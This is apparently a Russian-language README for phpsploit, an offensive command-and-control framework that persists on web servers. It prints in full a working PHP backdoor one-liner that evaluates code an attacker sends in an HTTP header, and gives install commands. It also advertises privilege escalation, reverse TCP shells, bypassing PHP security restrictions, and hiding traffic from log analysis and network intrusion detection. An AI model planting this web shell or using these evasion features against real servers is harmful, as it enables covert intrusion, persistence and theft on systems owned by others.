phpsploit

Полнофункциональный C2-фреймворк, который незаметно сохраняется на
веб-сервере с помощью полиморфного PHP-однострочника

codeclimate maintainability

---

Обзор

Обфусцированное взаимодействие осуществляется с использованием HTTP-заголовков в стандартных клиентских запросах и ответах веб-сервера, передаваемых через крошечный полиморфный бэкдор:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

---

Быстрый старт

git clone https://github.com/nil0x42/phpsploit
cd phpsploit/
pip3 install -r requirements.txt
./phpsploit --interactive --eval "help help"

---

Возможности

• Эффективность: Более 20 плагинов для автоматизации задач повышения привилегий

  • Выполняйте команды и просматривайте файловую систему, обходя ограничения безопасности PHP
  • Загружайте/скачивайте файлы между клиентом и целью
  • Редактируйте удаленные файлы через локальный текстовый редактор
  • Запускайте SQL-консоль на целевой системе
  • Создавайте обратные TCP-оболочки

• Скрытность: Фреймворк создан параноиками для параноиков

  • Почти невидим для анализа логов и обнаружения сигнатур NIDS
  • Обход безопасного режима и распространенных ограничений безопасности PHP
  • Взаимодействия скрыты в HTTP-заголовках
  • Загруженные полезные нагрузки обфусцированы для обхода NIDS
  • Поддержка прокси http/https/socks4/socks5

• Удобство: Надежный интерфейс с множеством важных функций

  • Подробная справка для любой опции (команда help)
  • Кроссплатформенность как на клиенте, так и на сервере
  • CLI поддерживает автодополнение и множественные команды
  • Сохранение/загрузка сессии и постоянная история
  • Поддержка множественных запросов для больших полезных нагрузок (например, загрузок)
  • Предоставляет мощный, легко настраиваемый движок настроек
  • Каждый параметр, например user-agent, имеет полиморфный режим
  • Настраиваемые переменные окружения для взаимодействия с плагинами
  • Предоставляет полный API для разработки плагинов

---

Поддерживаемые платформы (атакующий):

• GNU/Linux
• Mac OS X

Поддерживаемые платформы (цель):

• GNU/Linux
• BSD-like
• Mac OS X
• Windows NT

Участники